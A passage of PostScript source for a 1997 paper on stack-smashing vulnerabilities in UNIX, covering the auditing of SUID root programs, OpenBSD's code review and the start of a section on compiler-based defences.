GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6725 5708 M (9%. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7076 5708 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 5708 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5432 M (study, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1646 5432 M (failure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2123 5432 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2424 5432 M (defined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2965 5432 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3146 5432 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3818 5432 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4109 5432 M (crashed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4660 5432 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4997 5432 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5113 5432 M (core ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5442 5432 M (dump ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5863 5432 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6044 5432 M (hung, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6460 5432 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 5432 M (presented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5156 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1575 5156 M (invalid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2106 5156 M (data. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2537 5156 M (While ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3013 5156 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 5156 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3800 5156 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4009 5156 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4282 5156 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4982 5156 M (tested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5440 5156 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5639 5156 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5949 5156 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6379 5156 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6773 5156 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7232 5156 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4880 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1971 4880 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2431 4880 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2660 4880 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3092 4880 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3812 4880 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4226 4880 M (trusted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4769 4880 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5025 4880 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5504 4880 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5862 4880 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6624 4880 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6954 4880 M (flawless ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4604 M (operation was assumed.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4328 M (Modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 4328 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2769 4328 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3156 4328 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3340 4328 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3616 4328 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3984 4328 M (near ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4344 4328 M (foolproof ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5046 4328 M (method ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5618 4328 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5830 4328 M (insuring ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6448 4328 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6770 4328 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7232 4328 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4052 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1889 4052 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2141 4052 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2401 4052 M (exploited. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3151 4052 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3448 4052 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3791 4052 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4070 4052 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4358 4052 M (avoid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4775 4052 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5231 4052 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5945 4052 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6122 4052 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6842 4052 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 4052 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7242 4052 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3776 M (build ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1608 3776 M (faster, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2085 3776 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2492 3776 M (efficient, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3153 3776 M (robust ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3633 3776 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4011 3776 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4370 3776 M (respect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4906 3776 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5099 3776 M (non-security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5995 3776 M (areas ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6402 3776 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6605 3776 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 3776 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3500 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1809 3500 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2129 3500 M (OpenBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2874 3500 M (project ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3397 3500 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3680 3500 M (paid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4027 3500 M (special ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4550 3500 M (attention ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 3500 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5382 3500 M (this, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5725 3500 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5925 3500 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6143 3500 M (chief ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6537 3500 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7014 3500 M (hacker, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3224 M (Theo DeRaadt commented in a recent e-mail:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2200 2974 M (``During ) ST -2 0 MR (the ) ST -2 0 MR (OpenBSD ) ST -2 0 MR (security ) ST -2 0 MR (code ) ST -2 0 MR (review ) ST -2 0 MR (that ) ST -2 0 MR (we've ) ST -2 0 MR (been ) ST -2 0 MR (doing ) ST -3 0 MR (for) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2814 M (almost a year now, we have fixed numerous other robustness problems.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2654 M (Just as a small example, more than 10 ways to make ftpd dump core have) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2494 M (been resolved. Thousands of non-security bugs got fixed at the same) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2334 M (time. When you are looking at each source file one by one, it is an ideal) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2174 M (time to evaluate what problems and solutions other OS groups have) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2014 M (d) ST -7 0 MR (o) ST -7 0 MR (n) ST -7 0 MR (e) ST -7 0 MR (.) ST -7 0 MR (') ST -7 0 MR (') ST GR %%PageTrailer AXPageSave restore showpage %%Page: 24 24 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (13) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( ftp://ftp.lucky.net/pub/unix/local/libc-letter) 2430 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2028 9848 M (disadvantages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3022 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3222 9848 M (manually ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3902 9848 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4656 9848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4883 9848 M (affected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5481 9848 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6172 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6344 9848 M (obvious ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6931 9848 M (since ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 9848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (subject ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1742 9572 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2438 9572 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2828 9572 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3051 9572 M (checked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3662 9572 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3894 9572 M (hand ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4283 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 9572 M (recompiled. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5488 9572 M (Thousands ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6275 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6480 9572 M (lines ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6860 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7065 9572 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1586 9296 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1979 9296 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2362 9296 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2597 9296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3220 9296 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3594 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3903 9296 M (UID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4268 9296 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4983 9296 M (privileges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5708 9296 M (examined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6424 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6733 9296 M (changed, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7398 9296 M (if ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (necessary. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1997 9020 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2195 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2457 9020 M (free ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2776 9020 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3463 9020 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3985 9020 M (arena, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4447 9020 M (systems ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5034 9020 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5398 9020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5596 9020 M (Linux, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6094 9020 M (FreeBSD, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6816 9020 M (OpenBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1496 8744 M (NetBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2109 8744 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2472 8744 M (full ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2752 8744 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3236 8744 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3599 8744 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4479 8744 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5128 8744 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5372 8744 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5836 8744 M (use. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6191 8744 M (Complete ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6887 8744 M (copies ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 8744 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1467 8468 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2150 8468 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2668 8468 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3139 8468 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3434 8468 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3952 8468 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4505 8468 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4847 8468 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5059 8468 M (downloaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 8468 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6221 8468 M (modified, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6919 8468 M (allowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (anyone ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1791 8192 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2025 8192 M (fix ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2315 8192 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2762 8192 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 8192 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4636 8192 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5393 8192 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5637 8192 M (contrast ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6269 8192 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6503 8192 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6848 8192 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2054 7916 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2537 7916 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3232 7916 M (systems ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3827 7916 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4208 7916 M (limited, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4788 7916 M (if ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4957 7916 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5264 7916 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5766 7916 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6147 7916 M (availability. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7045 7916 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (chief ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1584 7640 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2517 7640 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3173 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3348 7640 M (avoiding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3975 7640 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4363 7640 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5038 7640 M (holes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5435 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5610 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5859 7640 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6321 7640 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 7640 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (global ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1671 7364 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2031 7364 M (auditing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2621 7364 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2778 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3027 7364 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3397 7364 M (expensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4108 7364 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4283 7364 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7364 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4885 7364 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5579 7364 M (manpower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6328 7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6614 7364 M (workload ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 7364 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (can offer the most in long term reliability and security.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 6787 M (11.2 Compiler modifications) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6504 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 6504 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2657 6504 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3587 6504 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4240 6504 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4412 6504 M (preventing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5166 6504 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5551 6504 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6223 6504 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7217 6504 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 6504 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6228 M (modify ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1732 6228 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1981 6228 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2138 6228 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2784 6228 M (c) ST -2 0 MR (o) ST -3 0 MR (m) ST -3 0 MR (p) ST -3 0 MR (i) ST -3 0 MR (l) ST -3 0 MR (e) ST -3 0 MR (r) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3517 6228 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4406 6228 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4581 6228 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4701 6228 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5116 6228 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5578 6228 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6252 6228 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6761 6228 M (concerning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5952 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 5952 M (functions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2704 5952 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3400 5952 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3536 5952 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3691 5952 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4382 5952 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4555 5952 M (note ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4885 5952 M (that, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5220 5952 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5393 5952 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5761 5952 M (cases, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6199 5952 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6585 5952 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1389 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1647 5676 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1813 5676 M (programming ) ST GR 0.0000 0.0000 0.0000 